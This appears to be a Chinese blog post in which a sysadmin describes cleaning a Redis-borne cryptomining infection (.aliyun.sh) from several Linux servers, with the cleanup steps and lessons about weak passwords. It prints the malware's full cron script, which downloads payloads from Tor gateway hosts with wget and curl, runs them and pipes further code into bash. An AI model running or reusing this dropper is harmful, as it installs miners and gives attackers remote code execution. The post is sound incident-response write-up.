1. 昨天晚上同事打电话给我说自己的服务器上面的redis无故被清空了,并且查看aof 日志有很多 wget和write指令

一想就是大事不好.局域网中病毒了..

2. 今天早上到公司忙完一阵简单看了下,就发现了五台机器中病毒. (悲伤无以言表)

3. 现象: CPU暴高, 通过虚拟化控制台就能看到

4. 进入虚拟机简单查看一下. 使用top 就能看到

5. 最简单的查看流程. 先看计划任务

crontab -e

病毒的脚本文件为:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
t=trumps4c4ohxvq7o
dir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
for i in /usr/bin $dir /dev/shm /tmp /var/tmp;do touch $i/i && cd $i && rm -f i && break;done
x() {
f=/int
d=./$(date|md5sum|cut -f1 -d-)
wget -t1 -T10 -qU- --no-check-certificate $$f -O$d || curl -m10 -fsSLkA- $$f -o$d
chmod +x $d;$d;rm -f $d
}
u() {
x=/crn
wget -t1 -T10 -qU- -O- --no-check-certificate $$x || curl -m10 -fsSLkA- $$x
}
for h in tor2web.io 4tor.ml onion.mn onion.in.net onion.to d2web.org civiclink.network onion.ws onion.nz onion.glass tor2web.su
do
if ! ls /proc/$(cat /tmp/.X11-unix/)/io; then
x trumps4c4ohxvq7o.$h
else
break
fi
done if ! ls /proc/$(cat /tmp/.X11-unix/)/io; then
(
u $t.tor2web.io ||
u $t.4tor.ml ||
u $t.d2web.org ||
u $t.onion.mn ||
u $t.onion.in.net ||
u $t.onion.to ||
u $t.civiclink.network ||
u $t.onion.pet ||
u $t.tor2web.su ||
u $t.onion.glass ||
u $t.onion.ws
)|bash
fi

中病毒无疑

删了这条记录,并且将刚才的哪个进程杀掉.

6.删除root目录下的文件

rm -rf /root/.aliyun.sh

7. /usr/bin 目录下还有别的东西 暂时没时间看...

8. 暂时关闭cron的服务避免再次被安装 (周六中午发现没卵用,)

systemctl disable crond && systemctl stop crond

9. 创建一个.aliyun.sh的文件并且增加上不可修改的权限等

touch /root/.aliyun.sh
chmod /root/.aliyun.sh
chattr +i /root/.aliyun.sh
mv /usr/bin/chattr /usr/bin/fuckchattr

10. 初步结论

1. redis 0.0.0.0 弱密码必须要修改
2.root账户的弱密码口令必须处理 也有没开redis端口有感染的情况.
3. ssh 互信的机器要关注一下.

  

11. 12.8 凌晨继续补充

病毒很变态 发现还有一个驻留进程不占CPU ,所以不能仅通过htop来查看进程还要通过pstree来去查找病毒进程

如图示。

        ├─packagekitd───*[{packagekitd}]
├─pcscd───*[{pcscd}]
├─polkitd───*[{polkitd}]
├─postmaster───*[postmaster]
├─pulseaudio───{pulseaudio}
├─rngd
├─rpcbind
├─rsyslogd───*[{rsyslogd}]
├─rtkit-daemon───*[{rtkit-daemon}]
├─smartd
├─sqlservr─┬─sqlservr───*[{sqlservr}]
│ └─{sqlservr}
├─sshd───sshd───bash───pstree
├─systemd-journal
├─systemd-logind
├─systemd-udevd
├─tnslsnr───{tnslsnr}
├─tuned───*[{tuned}]
├─udisksd───*[{udisksd}]
├─upowerd───*[{upowerd}]
├─vmtoolsd
├─wpa_supplicant
├─xdg-permission-───*[{xdg-permission-}]
└─y0qYwK

简单分析一下这个进程。发现 的确会出发新的任务来挖矿,只能先简单的干掉这个进程。再看看有没有进程出现。

二进制文件 直接被删除掉了很难搞。

索性将/usr/bin 目录设置只读属性不允许写入再进行尝试。

/opt 目录下面也有aliyun.sh

刚才反查了下域名 四月份到六月份注册的。 应该是新变种病毒。

12. 继续补充

发现病毒目录采取了 在/tmp 目录下面的文件

使用lsof简单查询一下到底用到了进程然后杀之

文件路径为:

/tmp/.X11-unix
[root@CentOS77 .X11-unix]# lsof
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
EyLyU3 root 0w REG ,
[root@CentOS77 .X11-unix]# ll /proc//
total

顺便干掉这个目录继续观察

rm -rf /tmp/.X11-unix/

局域网Linux机器中病毒简单处理 .aliyun.sh 挖矿病毒 ---不彻底的更多相关文章

  1. maven项目引入外部第三方jar包,引入、本地编译、第三方jar一起打到jar中、在linux机器中解决classnotfound(配置classpath),笔记整理。

    文章目录 引用的第三方jar的目录结构(示例) 引入第三方jar进行dependency使项目内能import 本地编译 第三方jar一起打到jar中 在linux机器中解决classnotfound ...

  2. Linux学习过程中的简单命令

    1.su su- 与 sudo     (1) 普通用户和root转换:su 用户名或root              不知道root密码的情况下:普通 -> root:sudo su roo ...

  3. 直接远程下载或上传文件到linux系统中的简单办法

    如果执行sz 或者rz 没有这个命令,则安装lrzsz包执行:yum install lrzsz 等待安装完毕,然后一直输入Y即可. sz:将选定的文件发送(send)到本地机器 -a 以文本方式传输 ...

  4. linux 服务器被植入ddgs、qW3xT.2挖矿病毒处理记录

    被入侵后的现象: 发现有qW3xT.2与ddgs两个异常进程,消耗了较高的cpu,kill掉后 过一会就会重新出现. kill 掉这两个异常进程后,过一段时间看到了如下进程: 首先在/etc/sysc ...

  5. Linux系统中到底应该怎么理解系统的平均负载

    02 | 基础篇:到底应该怎么理解“平均负载”? 每次发现系统变慢时,我们通常做的第一件事,就是执行 top 或者 uptime 命令,来了解系统的负载情况.比如像下面这样,我在命令行里输入了 upt ...

  6. Linux内核中链表的实现与应用【转】

    转自:http://blog.chinaunix.net/uid-27037833-id-3237153.html 链表(循环双向链表)是Linux内核中最简单.最常用的一种数据结构.         ...

  7. 今天在Mac机器上使用了Flex Builder编辑了一个源代码文件,保存后使用vim命令去打开时发现系统自动在每一行的结尾添加了^M符号,其实^M在Linux/Unix中是非常常见的,也就是我们在Win中见过的/r回车符号。由于编辑软件的编码问题,某些IDE的编辑器在编辑完文件之后会自动加上这个^M符号。看起来对我们的源代码没有任何影响,其实并不然,当我们把源代码文件Check In到svn之类

    今天在Mac机器上使用了Flex Builder编辑了一个源代码文件,保存后使用vim命令去打开时发现系统自动在每一行的结尾添加了^M符号,其实^M在Linux/Unix中是非常常见的,也就是我们在W ...

  8. [软件测试]Linux环境中简单清爽的Google Test (GTest)测试环境搭建(初级使用)

    本文将介绍单元测试工具google test(GTEST)在linux操作系统中测试环境的搭建方法.本文属于google test使用的基础教程.在linux中使用google test之前,需要对如 ...

  9. 学习Linux系统中命令的简单方法

    如果说如何快速学习.了解Linux的话,我的答案是学命令.背命令!为何呢?对于一名新手来说,去学习Linux的思想.了解Linux的架构.明白Linux中“一切皆文件”概念虽然说是没有错,是对的.但是 ...

随机推荐

  1. 机器学习实战:基于Scikit-Learn和TensorFlow 第5章 支持向量机 学习笔记(硬间隔)

    数据挖掘作业,需要实现支持向量机进行分类,记录学习记录 环境:win10,Python 3.7.0 SVM的基本思想:在类别之间拟合可能的最宽的间距,也叫作最大间隔分类 书上提供的源代码绘制了两个图, ...

  2. JMM和Volatile底层原理分析

    JMM和volatile分析 1.JMM:Java Memory Model,java线程内存模型 JMM:它是一个抽象的概念,描述的是线程和内存间的通信,java线程内存模型和CPU缓存模型类似,它 ...

  3. java斐波那契数列的顺序输出

    斐波那契数列,即1.1.2.3.5......,从第三个数开始包括第三个数,都为这个数的前两个数之和,而第一第二个数都为1. 下面是java输出斐波那契数列的代码: import java.util. ...

  4. E203 译码模块(1)

    E203是两级流水线结构,第一级是IFU进行取指操作,第二级包括译码.执行.交付和写回等功能.架构图如下: https://www.cnblogs.com/images/cnblogs_com/mik ...

  5. Java使用MD5加盐进行加密

    Java使用MD5加盐进行加密    我使用的方法是导入了md5.jar包,就不需要再自己写MD5的加密算法了,直接调用方法即可 点击下载md5包 import com.ndktools.javamd ...

  6. python基础-内置函数 isinstance() 与 issubclass()

    面向对象编程之内置函数 isinstance() 与 issubclass() isinstance():判断一个对象是否是另一个类的实例.返回bool值,True表示是,False表示不是. 语法: ...

  7. Linux服务器下载与上传文件

    一.图形化工具 FileZilla.SecureCRT,连接Linux服务器后直接操作 二.命令 使用终端模拟软件连接服务器后,首先安装lrzsz工具包 yum install lrzsz rz ,上 ...

  8. Ubuntu下安装Rabbitmq和golang环境

    安装及配置Rabbitmq 1. 安装: sudo apt-get install rabbitmq-server 2. 启动web管理插件 sudo rabbitmq-plugins enable ...

  9. mysql基础sql进阶

    回顾前面的基础命令语句 修改数据表 添加字段: alter table 表名 add 字段名 列类型[not null|null][primary key][unique][auto_incremen ...

  10. 曹玉中-201871010105《面向对象程序设计(java)》第6-7周学习总结

    曹玉中-201871010105<面向对象程序设计(java)>第6-7周学习总结 项目 内容 这个作业属于哪个课程 <任课教师博客主页链接>    https://www.c ...